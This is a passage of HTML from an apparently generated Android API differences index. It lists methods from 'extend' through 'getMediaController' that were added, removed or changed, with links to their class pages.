target="rightframe"><b>error</b> (<code>int</code>)</A></nobr><br> <i>extend</i><br> &nbsp;&nbsp;<nobr><A HREF="android.util.Range.html#android.util.Range.extend_added(T)" class="hiddenlink" target="rightframe">type&nbsp;<b> (<code>T</code>)</b>&nbsp;in&nbsp;android.util.Range </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="android.util.Range.html#android.util.Range.extend_added(T, T)" class="hiddenlink" target="rightframe">type&nbsp;<b> (<code>T, T</code>)</b>&nbsp;in&nbsp;android.util.Range </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="android.util.Range.html#android.util.Range.extend_added(android.util.Range<T>)" class="hiddenlink" target="rightframe">type&nbsp;<b> (<code>Range&lt;T&gt;</code>)</b>&nbsp;in&nbsp;android.util.Range </A></nobr><br> <A NAME="F"></A> <br><font size="+2">F</font>&nbsp; <a href="#A"><font size="-2">A</font></a> <a href="#B"><font size="-2">B</font></a> <a href="#C"><font size="-2">C</font></a> <a href="#D"><font size="-2">D</font></a> <a href="#E"><font size="-2">E</font></a> <a href="#G"><font size="-2">G</font></a> <a href="#H"><font size="-2">H</font></a> <a href="#I"><font size="-2">I</font></a> <a href="#L"><font size="-2">L</font></a> <a href="#M"><font size="-2">M</font></a> <a href="#N"><font size="-2">N</font></a> <a href="#O"><font size="-2">O</font></a> <a href="#P"><font size="-2">P</font></a> <a href="#R"><font size="-2">R</font></a> <a href="#S"><font size="-2">S</font></a> <a href="#T"><font size="-2">T</font></a> <a href="#U"><font size="-2">U</font></a> <a href="#V"><font size="-2">V</font></a> <a href="#W"><font size="-2">W</font></a> <a href="#Z"><font size="-2">Z</font></a> <a href="#topheader"><font size="-2">TOP</font></a> <p><div style="line-height:1.5em;color:black"> <nobr><A HREF="android.media.MediaCodecList.html#android.media.MediaCodecList.findDecoderForFormat_added(android.media.MediaFormat)" class="hiddenlink" target="rightframe"><b>findDecoderForFormat</b> (<code>MediaFormat</code>)</A></nobr><br> <nobr><A HREF="android.media.MediaCodecList.html#android.media.MediaCodecList.findEncoderForFormat_added(android.media.MediaFormat)" class="hiddenlink" target="rightframe"><b>findEncoderForFormat</b> (<code>MediaFormat</code>)</A></nobr><br> <nobr><A HREF="android.widget.AbsListView.html#android.widget.AbsListView.fling_added(int)" class="hiddenlink" target="rightframe"><b>fling</b> (<code>int</code>)</A></nobr><br> <i>flush</i><br> &nbsp;&nbsp;<nobr><A HREF="android.hardware.camera2.CameraDevice.html#android.hardware.camera2.CameraDevice.flush_removed()" class="hiddenlink" target="rightframe">type&nbsp;<strike> ()</strike>&nbsp;in&nbsp;android.hardware.camera2.CameraDevice </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="android.webkit.CookieManager.html#android.webkit.CookieManager.flush_added()" class="hiddenlink" target="rightframe">type&nbsp;<b> ()</b>&nbsp;in&nbsp;android.webkit.CookieManager </A></nobr><br> <nobr><A HREF="android.bluetooth.le.BluetoothLeScanner.html#android.bluetooth.le.BluetoothLeScanner.flushPendingScanResults_added(android.bluetooth.le.ScanCallback)" class="hiddenlink" target="rightframe"><b>flushPendingScanResults</b> (<code>ScanCallback</code>)</A></nobr><br> <nobr><A HREF="android.media.audiofx.Virtualizer.html#android.media.audiofx.Virtualizer.forceVirtualizationMode_added(int)" class="hiddenlink" target="rightframe"><b>forceVirtualizationMode</b> (<code>int</code>)</A></nobr><br> <nobr><A HREF="java.util.Locale.html#java.util.Locale.forLanguageTag_added(java.lang.String)" class="hiddenlink" target="rightframe"><b>forLanguageTag</b> (<code>String</code>)</A></nobr><br> <nobr><A HREF="android.media.session.MediaController.html#android.media.session.MediaController.fromToken_removed(android.media.session.MediaSessionToken)" class="hiddenlink" target="rightframe"><strike>fromToken</strike> (<code>MediaSessionToken</code>)</A></nobr><br> <A NAME="G"></A> <br><font size="+2">G</font>&nbsp; <a href="#A"><font size="-2">A</font></a> <a href="#B"><font size="-2">B</font></a> <a href="#C"><font size="-2">C</font></a> <a href="#D"><font size="-2">D</font></a> <a href="#E"><font size="-2">E</font></a> <a href="#F"><font size="-2">F</font></a> <a href="#H"><font size="-2">H</font></a> <a href="#I"><font size="-2">I</font></a> <a href="#L"><font size="-2">L</font></a> <a href="#M"><font size="-2">M</font></a> <a href="#N"><font size="-2">N</font></a> <a href="#O"><font size="-2">O</font></a> <a href="#P"><font size="-2">P</font></a> <a href="#R"><font size="-2">R</font></a> <a href="#S"><font size="-2">S</font></a> <a href="#T"><font size="-2">T</font></a> <a href="#U"><font size="-2">U</font></a> <a href="#V"><font size="-2">V</font></a> <a href="#W"><font size="-2">W</font></a> <a href="#Z"><font size="-2">Z</font></a> <a href="#topheader"><font size="-2">TOP</font></a> <p><div style="line-height:1.5em;color:black"> <nobr><A HREF="android.media.AudioManager.html#android.media.AudioManager.generateAudioSessionId_added()" class="hiddenlink" target="rightframe"><b>generateAudioSessionId</b> ()</A></nobr><br> <nobr><A HREF="android.service.notification.NotificationListenerService.html#android.service.notification.NotificationListenerService.getActiveNotifications_added(java.lang.String[])" class="hiddenlink" target="rightframe"><b>getActiveNotifications</b> (<code>String[]</code>)</A></nobr><br> <nobr><A HREF="android.media.session.PlaybackState.html#android.media.session.PlaybackState.getActiveQueueItemId_added()" class="hiddenlink" target="rightframe"><b>getActiveQueueItemId</b> ()</A></nobr><br> <nobr><A HREF="android.media.session.MediaSessionManager.html#android.media.session.MediaSessionManager.getActiveSessions_added(android.content.ComponentName)" class="hiddenlink" target="rightframe"><b>getActiveSessions</b> (<code>ComponentName</code>)</A></nobr><br> <nobr><A HREF="android.net.ConnectivityManager.html#android.net.ConnectivityManager.getAllNetworks_added()" class="hiddenlink" target="rightframe"><b>getAllNetworks</b> ()</A></nobr><br> <nobr><A HREF="android.app.Fragment.html#android.app.Fragment.getAllowEnterTransitionOverlap_added()" class="hiddenlink" target="rightframe"><b>getAllowEnterTransitionOverlap</b> ()</A></nobr><br> <nobr><A HREF="android.view.Window.html#android.view.Window.getAllowExitTransitionOverlap_removed()" class="hiddenlink" target="rightframe"><strike>getAllowExitTransitionOverlap</strike> ()</A></nobr><br> <i>getAllowReturnTransitionOverlap</i><br> &nbsp;&nbsp;<nobr><A HREF="android.app.Fragment.html#android.app.Fragment.getAllowReturnTransitionOverlap_added()" class="hiddenlink" target="rightframe">type&nbsp;<b> ()</b>&nbsp;in&nbsp;android.app.Fragment </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="android.view.Window.html#android.view.Window.getAllowReturnTransitionOverlap_added()" class="hiddenlink" target="rightframe">type&nbsp;<b> ()</b>&nbsp;in&nbsp;android.view.Window </A></nobr><br> <nobr><A HREF="android.graphics.Outline.html#android.graphics.Outline.getAlpha_added()" class="hiddenlink" target="rightframe"><b>getAlpha</b> ()</A></nobr><br> <nobr><A HREF="android.app.ActivityManager.html#android.app.ActivityManager.getAppTaskThumbnailSize_added()" class="hiddenlink" target="rightframe"><b>getAppTaskThumbnailSize</b> ()</A></nobr><br> <nobr><A HREF="android.view.Display.html#android.view.Display.getAppVsyncOffsetNanos_added()" class="hiddenlink" target="rightframe"><b>getAppVsyncOffsetNanos</b> ()</A></nobr><br> <nobr><A HREF="android.media.Ringtone.html#android.media.Ringtone.getAudioAttributes_added()" class="hiddenlink" target="rightframe"><b>getAudioAttributes</b> ()</A></nobr><br> <nobr><A HREF="android.media.MediaCodecInfo.CodecCapabilities.html#android.media.MediaCodecInfo.CodecCapabilities.getAudioCapabilities_added()" class="hiddenlink" target="rightframe"><b>getAudioCapabilities</b> ()</A></nobr><br> <nobr><A HREF="android.app.admin.DevicePolicyManager.html#android.app.admin.DevicePolicyManager.getAutoTimeRequired_added()" class="hiddenlink" target="rightframe"><b>getAutoTimeRequired</b> ()</A></nobr><br> <nobr><A HREF="android.media.tv.TvInputManager.html#android.media.tv.TvInputManager.getAvailability_removed(java.lang.String)" class="hiddenlink" target="rightframe"><strike>getAvailability</strike> (<code>String</code>)</A></nobr><br> <nobr><A HREF="android.speech.tts.TextToSpeech.html#android.speech.tts.TextToSpeech.getAvailableLanguages_added()" class="hiddenlink" target="rightframe"><b>getAvailableLanguages</b> ()</A></nobr><br> <nobr><A HREF="android.view.View.html#android.view.View.getBackgroundTintList_added()" class="hiddenlink" target="rightframe"><b>getBackgroundTintList</b> ()</A></nobr><br> <nobr><A HREF="android.view.View.html#android.view.View.getBackgroundTintMode_added()" class="hiddenlink" target="rightframe"><b>getBackgroundTintMode</b> ()</A></nobr><br> <nobr><A HREF="android.os.UserManager.html#android.os.UserManager.getBadgedDrawableForUser_removed(android.graphics.drawable.Drawable, android.os.UserHandle)" class="hiddenlink" target="rightframe"><strike>getBadgedDrawableForUser</strike> (<code>Drawable, UserHandle</code>)</A></nobr><br> <nobr><A HREF="android.media.session.PlaybackState.html#android.media.session.PlaybackState.getBufferedPosition_added()" class="hiddenlink" target="rightframe"><b>getBufferedPosition</b> ()</A></nobr><br> <nobr><A HREF="android.media.session.PlaybackState.html#android.media.session.PlaybackState.getBufferPosition_removed()" class="hiddenlink" target="rightframe"><strike>getBufferPosition</strike> ()</A></nobr><br> <nobr><A HREF="android.widget.CompoundButton.html#android.widget.CompoundButton.getButtonTintList_added()" class="hiddenlink" target="rightframe"><b>getButtonTintList</b> ()</A></nobr><br> <nobr><A HREF="android.widget.CompoundButton.html#android.widget.CompoundButton.getButtonTintMode_added()" class="hiddenlink" target="rightframe"><b>getButtonTintMode</b> ()</A></nobr><br> <nobr><A HREF="android.bluetooth.le.ScanRecord.html#android.bluetooth.le.ScanRecord.getBytes_added()" class="hiddenlink" target="rightframe"><b>getBytes</b> ()</A></nobr><br> <nobr><A HREF="android.telephony.SmsManager.html#android.telephony.SmsManager.getCarrierConfigValues_added()" class="hiddenlink" target="rightframe"><b>getCarrierConfigValues</b> ()</A></nobr><br> <nobr><A HREF="android.content.res.TypedArray.html#android.content.res.TypedArray.getChangingConfigurations_added()" class="hiddenlink" target="rightframe"><b>getChangingConfigurations</b> ()</A></nobr><br> <nobr><A HREF="android.media.AudioFormat.html#android.media.AudioFormat.getChannelMask_added()" class="hiddenlink" target="rightframe"><b>getChannelMask</b> ()</A></nobr><br> <nobr><A HREF="android.view.inputmethod.CursorAnchorInfo.html#android.view.inputmethod.CursorAnchorInfo.getCharacterBounds_added(int)" class="hiddenlink" target="rightframe"><b>getCharacterBounds</b> (<code>int</code>)</A></nobr><br> <nobr><A HREF="android.view.inputmethod.CursorAnchorInfo.html#android.view.inputmethod.CursorAnchorInfo.getCharacterBoundsFlags_added(int)" class="hiddenlink" target="rightframe"><b>getCharacterBoundsFlags</b> (<code>int</code>)</A></nobr><br> <nobr><A HREF="android.view.inputmethod.CursorAnchorInfo.html#android.view.inputmethod.CursorAnchorInfo.getCharacterRect_removed(int)" class="hiddenlink" target="rightframe"><strike>getCharacterRect</strike> (<code>int</code>)</A></nobr><br> <nobr><A HREF="android.view.textservice.TextInfo.html#android.view.textservice.TextInfo.getCharSequence_added()" class="hiddenlink" target="rightframe"><b>getCharSequence</b> ()</A></nobr><br> <nobr><A HREF="android.speech.tts.SynthesisRequest.html#android.speech.tts.SynthesisRequest.getCharSequenceText_added()" class="hiddenlink" target="rightframe"><b>getCharSequenceText</b> ()</A></nobr><br> <nobr><A HREF="android.widget.CheckedTextView.html#android.widget.CheckedTextView.getCheckMarkTintList_added()" class="hiddenlink" target="rightframe"><b>getCheckMarkTintList</b> ()</A></nobr><br> <nobr><A HREF="android.widget.CheckedTextView.html#android.widget.CheckedTextView.getCheckMarkTintMode_added()" class="hiddenlink" target="rightframe"><b>getCheckMarkTintMode</b> ()</A></nobr><br> <nobr><A HREF="android.view.ViewGroup.html#android.view.ViewGroup.getClipToPadding_added()" class="hiddenlink" target="rightframe"><b>getClipToPadding</b> ()</A></nobr><br> <i>getCodeCacheDir</i><br> &nbsp;&nbsp;<nobr><A HREF="android.content.Context.html#android.content.Context.getCodeCacheDir_added()" class="hiddenlink" target="rightframe">type&nbsp;<b> ()</b>&nbsp;in&nbsp;android.content.Context </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="android.content.ContextWrapper.html#android.content.ContextWrapper.getCodeCacheDir_added()" class="hiddenlink" target="rightframe">type&nbsp;<b> ()</b>&nbsp;in&nbsp;android.content.ContextWrapper </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="android.test.mock.MockContext.html#android.test.mock.MockContext.getCodeCacheDir_added()" class="hiddenlink" target="rightframe">type&nbsp;<b> ()</b>&nbsp;in&nbsp;android.test.mock.MockContext </A></nobr><br> <nobr><A HREF="android.media.MediaCodecList.html#android.media.MediaCodecList.getCodecCount_changed()" class="hiddenlink" target="rightframe">getCodecCount ()</A></nobr><br> <nobr><A HREF="android.media.MediaCodecList.html#android.media.MediaCodecList.getCodecInfoAt_changed(int)" class="hiddenlink" target="rightframe">getCodecInfoAt (<code>int</code>)</A></nobr><br> <nobr><A HREF="android.media.MediaCodecList.html#android.media.MediaCodecList.getCodecInfos_added()" class="hiddenlink" target="rightframe"><b>getCodecInfos</b> ()</A></nobr><br> <i>getColor</i><br> &nbsp;&nbsp;<nobr><A HREF="android.graphics.PorterDuffColorFilter.html#android.graphics.PorterDuffColorFilter.getColor_removed()" class="hiddenlink" target="rightframe">type&nbsp;<strike> ()</strike>&nbsp;in&nbsp;android.graphics.PorterDuffColorFilter </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="android.widget.EdgeEffect.html#android.widget.EdgeEffect.getColor_added()" class="hiddenlink" target="rightframe">type&nbsp;<b> ()</b>&nbsp;in&nbsp;android.widget.EdgeEffect </A></nobr><br> <nobr><A HREF="android.graphics.LightingColorFilter.html#android.graphics.LightingColorFilter.getColorAdd_removed()" class="hiddenlink" target="rightframe"><strike>getColorAdd</strike> ()</A></nobr><br> <nobr><A HREF="android.graphics.ColorMatrixColorFilter.html#android.graphics.ColorMatrixColorFilter.getColorMatrix_removed()" class="hiddenlink" target="rightframe"><strike>getColorMatrix</strike> ()</A></nobr><br> <nobr><A HREF="android.graphics.LightingColorFilter.html#android.graphics.LightingColorFilter.getColorMultiply_removed()" class="hiddenlink" target="rightframe"><strike>getColorMultiply</strike> ()</A></nobr><br> <nobr><A HREF="android.view.inputmethod.CursorAnchorInfo.html#android.view.inputmethod.CursorAnchorInfo.getComposingText_changed()" class="hiddenlink" target="rightframe">getComposingText ()</A></nobr><br> <nobr><A HREF="android.media.session.MediaSession.html#android.media.session.MediaSession.getController_added()" class="hiddenlink" target="rightframe"><b>getController</b> ()</A></nobr><br> <nobr><A HREF="android.media.Image.html#android.media.Image.getCropRect_added()" class="hiddenlink" target="rightframe"><b>getCropRect</b> ()</A></nobr><br> <nobr><A HREF="android.app.admin.DevicePolicyManager.html#android.app.admin.DevicePolicyManager.getCrossProfileCallerIdDisabled_added(android.content.ComponentName)" class="hiddenlink" target="rightframe"><b>getCrossProfileCallerIdDisabled</b> (<code>ComponentName</code>)</A></nobr><br> <nobr><A HREF="android.app.admin.DevicePolicyManager.html#android.app.admin.DevicePolicyManager.getCrossProfileWidgetProviders_added(android.content.ComponentName)" class="hiddenlink" target="rightframe"><b>getCrossProfileWidgetProviders</b> (<code>ComponentName</code>)</A></nobr><br> <nobr><A HREF="android.service.notification.NotificationListenerService.html#android.service.notification.NotificationListenerService.getCurrentInterruptionFilter_added()" class="hiddenlink" target="rightframe"><b>getCurrentInterruptionFilter</b> ()</A></nobr><br> <nobr><A HREF="android.service.notification.NotificationListenerService.html#android.service.notification.NotificationListenerService.getCurrentListenerHints_added()" class="hiddenlink" target="rightframe"><b>getCurrentListenerHints</b> ()</A></nobr><br> <nobr><A HREF="android.media.session.PlaybackState.html#android.media.session.PlaybackState.getCustomActions_added()" class="hiddenlink" target="rightframe"><b>getCustomActions</b> ()</A></nobr><br> <nobr><A HREF="android.media.MediaCodecInfo.CodecCapabilities.html#android.media.MediaCodecInfo.CodecCapabilities.getDefaultFormat_added()" class="hiddenlink" target="rightframe"><b>getDefaultFormat</b> ()</A></nobr><br> <nobr><A HREF="android.speech.tts.TextToSpeech.html#android.speech.tts.TextToSpeech.getDefaultLanguage_changed()" class="hiddenlink" target="rightframe">getDefaultLanguage ()</A></nobr><br> <nobr><A HREF="android.hardware.SensorManager.html#android.hardware.SensorManager.getDefaultSensor_added(int, boolean)" class="hiddenlink" target="rightframe"><b>getDefaultSensor</b> (<code>int, boolean</code>)</A></nobr><br> <nobr><A HREF="android.speech.tts.TextToSpeech.html#android.speech.tts.TextToSpeech.getDefaultVoice_added()" class="hiddenlink" target="rightframe"><b>getDefaultVoice</b> ()</A></nobr><br> <nobr><A HREF="android.media.MediaMetadata.html#android.media.MediaMetadata.getDescription_added()" class="hiddenlink" target="rightframe"><b>getDescription</b> ()</A></nobr><br> <i>getDeviceName</i><br> &nbsp;&nbsp;<nobr><A HREF="android.bluetooth.le.ScanFilter.html#android.bluetooth.le.ScanFilter.getDeviceName_added()" class="hiddenlink" target="rightframe">type&nbsp;<b> ()</b>&nbsp;in&nbsp;android.bluetooth.le.ScanFilter </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="android.bluetooth.le.ScanRecord.html#android.bluetooth.le.ScanRecord.getDeviceName_added()" class="hiddenlink" target="rightframe">type&nbsp;<b> ()</b>&nbsp;in&nbsp;android.bluetooth.le.ScanRecord </A></nobr><br> <i>getDisplayScript</i><br> &nbsp;&nbsp;<nobr><A HREF="java.util.Locale.html#java.util.Locale.getDisplayScript_added()" class="hiddenlink" target="rightframe">type&nbsp;<b> ()</b>&nbsp;in&nbsp;java.util.Locale </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="java.util.Locale.html#java.util.Locale.getDisplayScript_added(java.util.Locale)" class="hiddenlink" target="rightframe">type&nbsp;<b> (<code>Locale</code>)</b>&nbsp;in&nbsp;java.util.Locale </A></nobr><br> <i>getElevation</i><br> &nbsp;&nbsp;<nobr><A HREF="android.app.ActionBar.html#android.app.ActionBar.getElevation_added()" class="hiddenlink" target="rightframe">type&nbsp;<b> ()</b>&nbsp;in&nbsp;android.app.ActionBar </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="android.widget.PopupWindow.html#android.widget.PopupWindow.getElevation_added()" class="hiddenlink" target="rightframe">type&nbsp;<b> ()</b>&nbsp;in&nbsp;android.widget.PopupWindow </A></nobr><br> <nobr><A HREF="android.media.MediaCodecInfo.CodecCapabilities.html#android.media.MediaCodecInfo.CodecCapabilities.getEncoderCapabilities_added()" class="hiddenlink" target="rightframe"><b>getEncoderCapabilities</b> ()</A></nobr><br> <nobr><A HREF="android.media.AudioFormat.html#android.media.AudioFormat.getEncoding_added()" class="hiddenlink" target="rightframe"><b>getEncoding</b> ()</A></nobr><br> <nobr><A HREF="android.app.Fragment.html#android.app.Fragment.getEnterTransition_added()" class="hiddenlink" target="rightframe"><b>getEnterTransition</b> ()</A></nobr><br> <nobr><A HREF="android.view.accessibility.AccessibilityNodeInfo.html#android.view.accessibility.AccessibilityNodeInfo.getError_added()" class="hiddenlink" target="rightframe"><b>getError</b> ()</A></nobr><br> <nobr><A HREF="android.app.Fragment.html#android.app.Fragment.getExitTransition_added()" class="hiddenlink" target="rightframe"><b>getExitTransition</b> ()</A></nobr><br> <nobr><A HREF="java.util.Locale.html#java.util.Locale.getExtension_added(char)" class="hiddenlink" target="rightframe"><b>getExtension</b> (<code>char</code>)</A></nobr><br> <nobr><A HREF="java.util.Locale.html#java.util.Locale.getExtensionKeys_added()" class="hiddenlink" target="rightframe"><b>getExtensionKeys</b> ()</A></nobr><br> <nobr><A HREF="android.media.session.MediaController.html#android.media.session.MediaController.getExtras_added()" class="hiddenlink" target="rightframe"><b>getExtras</b> ()</A></nobr><br> <nobr><A HREF="android.media.MediaFormat.html#android.media.MediaFormat.getFeatureEnabled_added(java.lang.String)" class="hiddenlink" target="rightframe"><b>getFeatureEnabled</b> (<code>String</code>)</A></nobr><br> <nobr><A HREF="android.speech.tts.TextToSpeech.html#android.speech.tts.TextToSpeech.getFeatures_changed(java.util.Locale)" class="hiddenlink" target="rightframe">getFeatures (<code>Locale</code>)</A></nobr><br> <nobr><A HREF="android.widget.DatePicker.html#android.widget.DatePicker.getFirstDayOfWeek_added()" class="hiddenlink" target="rightframe"><b>getFirstDayOfWeek</b> ()</A></nobr><br> <nobr><A HREF="android.media.session.MediaController.html#android.media.session.MediaController.getFlags_added()" class="hiddenlink" target="rightframe"><b>getFlags</b> ()</A></nobr><br> <i>getFontFeatureSettings</i><br> &nbsp;&nbsp;<nobr><A HREF="android.graphics.Paint.html#android.graphics.Paint.getFontFeatureSettings_added()" class="hiddenlink" target="rightframe">type&nbsp;<b> ()</b>&nbsp;in&nbsp;android.graphics.Paint </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="android.widget.TextView.html#android.widget.TextView.getFontFeatureSettings_added()" class="hiddenlink" target="rightframe">type&nbsp;<b> ()</b>&nbsp;in&nbsp;android.widget.TextView </A></nobr><br> <nobr><A HREF="android.widget.FrameLayout.html#android.widget.FrameLayout.getForegroundTintList_added()" class="hiddenlink" target="rightframe"><b>getForegroundTintList</b> ()</A></nobr><br> <nobr><A HREF="android.widget.FrameLayout.html#android.widget.FrameLayout.getForegroundTintMode_added()" class="hiddenlink" target="rightframe"><b>getForegroundTintMode</b> ()</A></nobr><br> <i>getFrameNumber</i><br> &nbsp;&nbsp;<nobr><A HREF="android.hardware.camera2.CaptureFailure.html#android.hardware.camera2.CaptureFailure.getFrameNumber_changed()" class="hiddenlink" target="rightframe">type&nbsp; ()&nbsp;in&nbsp;android.hardware.camera2.CaptureFailure </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="android.hardware.camera2.CaptureResult.html#android.hardware.camera2.CaptureResult.getFrameNumber_changed()" class="hiddenlink" target="rightframe">type&nbsp; ()&nbsp;in&nbsp;android.hardware.camera2.CaptureResult </A></nobr><br> <nobr><A HREF="android.service.notification.StatusBarNotification.html#android.service.notification.StatusBarNotification.getGroupKey_added()" class="hiddenlink" target="rightframe"><b>getGroupKey</b> ()</A></nobr><br> <nobr><A HREF="android.hardware.camera2.params.StreamConfigurationMap.html#android.hardware.camera2.params.StreamConfigurationMap.getHighSpeedVideoFpsRanges_added()" class="hiddenlink" target="rightframe"><b>getHighSpeedVideoFpsRanges</b> ()</A></nobr><br> <nobr><A HREF="android.hardware.camera2.params.StreamConfigurationMap.html#android.hardware.camera2.params.StreamConfigurationMap.getHighSpeedVideoFpsRangesFor_added(android.util.Size)" class="hiddenlink" target="rightframe"><b>getHighSpeedVideoFpsRangesFor</b> (<code>Size</code>)</A></nobr><br> <nobr><A HREF="android.hardware.camera2.params.StreamConfigurationMap.html#android.hardware.camera2.params.StreamConfigurationMap.getHighSpeedVideoSizes_added()" class="hiddenlink" target="rightframe"><b>getHighSpeedVideoSizes</b> ()</A></nobr><br> <nobr><A HREF="android.hardware.camera2.params.StreamConfigurationMap.html#android.hardware.camera2.params.StreamConfigurationMap.getHighSpeedVideoSizesFor_added(android.util.Range<java.lang.Integer>)" class="hiddenlink" target="rightframe"><b>getHighSpeedVideoSizesFor</b> (<code>Range&lt;Integer&gt;</code>)</A></nobr><br> <nobr><A HREF="android.widget.ImageView.html#android.widget.ImageView.getImageTintList_added()" class="hiddenlink" target="rightframe"><b>getImageTintList</b> ()</A></nobr><br> <nobr><A HREF="android.widget.ImageView.html#android.widget.ImageView.getImageTintMode_added()" class="hiddenlink" target="rightframe"><b>getImageTintMode</b> ()</A></nobr><br> <nobr><A HREF="android.widget.ProgressBar.html#android.widget.ProgressBar.getIndeterminateTintList_added()" class="hiddenlink" target="rightframe"><b>getIndeterminateTintList</b> ()</A></nobr><br> <nobr><A HREF="android.widget.ProgressBar.html#android.widget.ProgressBar.getIndeterminateTintMode_added()" class="hiddenlink" target="rightframe"><b>getIndeterminateTintMode</b> ()</A></nobr><br> <nobr><A HREF="android.media.MediaCodec.html#android.media.MediaCodec.getInputBuffer_added(int)" class="hiddenlink" target="rightframe"><b>getInputBuffer</b> (<code>int</code>)</A></nobr><br> <nobr><A HREF="android.media.MediaCodec.html#android.media.MediaCodec.getInputBuffers_changed()" class="hiddenlink" target="rightframe">getInputBuffers ()</A></nobr><br> <nobr><A HREF="android.media.MediaCodec.html#android.media.MediaCodec.getInputFormat_added()" class="hiddenlink" target="rightframe"><b>getInputFormat</b> ()</A></nobr><br> <nobr><A HREF="android.media.MediaCodec.html#android.media.MediaCodec.getInputImage_added(int)" class="hiddenlink" target="rightframe"><b>getInputImage</b> (<code>int</code>)</A></nobr><br> <nobr><A HREF="android.media.tv.TvInputManager.html#android.media.tv.TvInputManager.getInputState_added(java.lang.String)" class="hiddenlink" target="rightframe"><b>getInputState</b> (<code>String</code>)</A></nobr><br> <nobr><A HREF="android.view.inputmethod.CursorAnchorInfo.html#android.view.inputmethod.CursorAnchorInfo.getInsertionMarkerFlags_added()" class="hiddenlink" target="rightframe"><b>getInsertionMarkerFlags</b> ()</A></nobr><br> <nobr><A HREF="android.app.admin.DevicePolicyManager.html#android.app.admin.DevicePolicyManager.getInstalledCaCerts_added(android.content.ComponentName)" class="hiddenlink" target="rightframe"><b>getInstalledCaCerts</b> (<code>ComponentName</code>)</A></nobr><br> <nobr><A HREF="android.appwidget.AppWidgetManager.html#android.appwidget.AppWidgetManager.getInstalledProvidersForProfile_added(android.os.UserHandle)" class="hiddenlink" target="rightframe"><b>getInstalledProvidersForProfile</b> (<code>UserHandle</code>)</A></nobr><br> <nobr><A HREF="android.media.tv.TvInputInfo.html#android.media.tv.TvInputInfo.getIntentForSettingsActivity_removed()" class="hiddenlink" target="rightframe"><strike>getIntentForSettingsActivity</strike> ()</A></nobr><br> <nobr><A HREF="android.media.tv.TvInputInfo.html#android.media.tv.TvInputInfo.getIntentForSetupActivity_removed()" class="hiddenlink" target="rightframe"><strike>getIntentForSetupActivity</strike> ()</A></nobr><br> <nobr><A HREF="android.content.RestrictionEntry.html#android.content.RestrictionEntry.getIntValue_added()" class="hiddenlink" target="rightframe"><b>getIntValue</b> ()</A></nobr><br> <nobr><A HREF="android.speech.tts.TextToSpeech.html#android.speech.tts.TextToSpeech.getLanguage_changed()" class="hiddenlink" target="rightframe">getLanguage ()</A></nobr><br> <nobr><A HREF="android.media.session.PlaybackState.html#android.media.session.PlaybackState.getLastPositionUpdateTime_added()" class="hiddenlink" target="rightframe"><b>getLastPositionUpdateTime</b> ()</A></nobr><br> <nobr><A HREF="android.service.voice.VoiceInteractionSession.html#android.service.voice.VoiceInteractionSession.getLayoutInflater_removed()" class="hiddenlink" target="rightframe"><strike>getLayoutInflater</strike> ()</A></nobr><br> <i>getLetterSpacing</i><br> &nbsp;&nbsp;<nobr><A HREF="android.graphics.Paint.html#android.graphics.Paint.getLetterSpacing_added()" class="hiddenlink" target="rightframe">type&nbsp;<b> ()</b>&nbsp;in&nbsp;android.graphics.Paint </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="android.widget.TextView.html#android.widget.TextView.getLetterSpacing_added()" class="hiddenlink" target="rightframe">type&nbsp;<b> ()</b>&nbsp;in&nbsp;android.widget.TextView </A></nobr><br> <i>getLocalName</i><br> &nbsp;&nbsp;<nobr><A HREF="android.bluetooth.le.ScanFilter.html#android.bluetooth.le.ScanFilter.getLocalName_removed()" class="hiddenlink" target="rightframe">type&nbsp;<strike> ()</strike>&nbsp;in&nbsp;android.bluetooth.le.ScanFilter </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="android.bluetooth.le.ScanRecord.html#android.bluetooth.le.ScanRecord.getLocalName_removed()" class="hiddenlink" target="rightframe">type&nbsp;<strike> ()</strike>&nbsp;in&nbsp;android.bluetooth.le.ScanRecord </A></nobr><br> <nobr><A HREF="android.bluetooth.le.ScanRecord.html#android.bluetooth.le.ScanRecord.getManufacturerId_removed()" class="hiddenlink" target="rightframe"><strike>getManufacturerId</strike> ()</A></nobr><br> <i>getManufacturerSpecificData</i><br> &nbsp;&nbsp;<nobr><A HREF="android.bluetooth.le.ScanRecord.html#android.bluetooth.le.ScanRecord.getManufacturerSpecificData_added(int)" class="hiddenlink" target="rightframe">type&nbsp;<b> (<code>int</code>)</b>&nbsp;in&nbsp;android.bluetooth.le.ScanRecord </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="android.bluetooth.le.ScanRecord.html#android.bluetooth.le.ScanRecord.getManufacturerSpecificData_changed()" class="hiddenlink" target="rightframe">type&nbsp; ()&nbsp;in&nbsp;android.bluetooth.le.ScanRecord </A></nobr><br> <nobr><A HREF="android.text.InputFilter.LengthFilter.html#android.text.InputFilter.LengthFilter.getMax_added()" class="hiddenlink" target="rightframe"><b>getMax</b> ()</A></nobr><br> <nobr><A HREF="android.hardware.Sensor.html#android.hardware.Sensor.getMaxDelay_added()" class="hiddenlink" target="rightframe"><b>getMaxDelay</b> ()</A></nobr><br> <nobr><A HREF="android.bluetooth.le.ScanFilter.html#android.bluetooth.le.ScanFilter.getMaxRssi_removed()" class="hiddenlink" target="rightframe"><strike>getMaxRssi</strike> ()</A></nobr><br> <nobr><A HREF="android.view.accessibility.AccessibilityNodeInfo.html#android.view.accessibility.AccessibilityNodeInfo.getMaxTextLength_added()" class="hiddenlink" target="rightframe"><b>getMaxTextLength</b> ()</A></nobr><br> <i>getMediaController</i><br> &nbsp;&nbsp;<nobr><A HREF="android.app.Activity.html#android.app.Activity.getMediaController_added()" class="hiddenlink" target="rightframe">type&nbsp;<b> ()</b>&nbsp;in&nbsp;android.app.Activity </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="android.view.Window.html#android.view.Window.getMediaController_added()" class="hiddenlink" target="rightframe">type&nbsp;<b> ()</b>&nbsp;in&nbsp;android.view.Window </A></nobr><br> <nobr><A 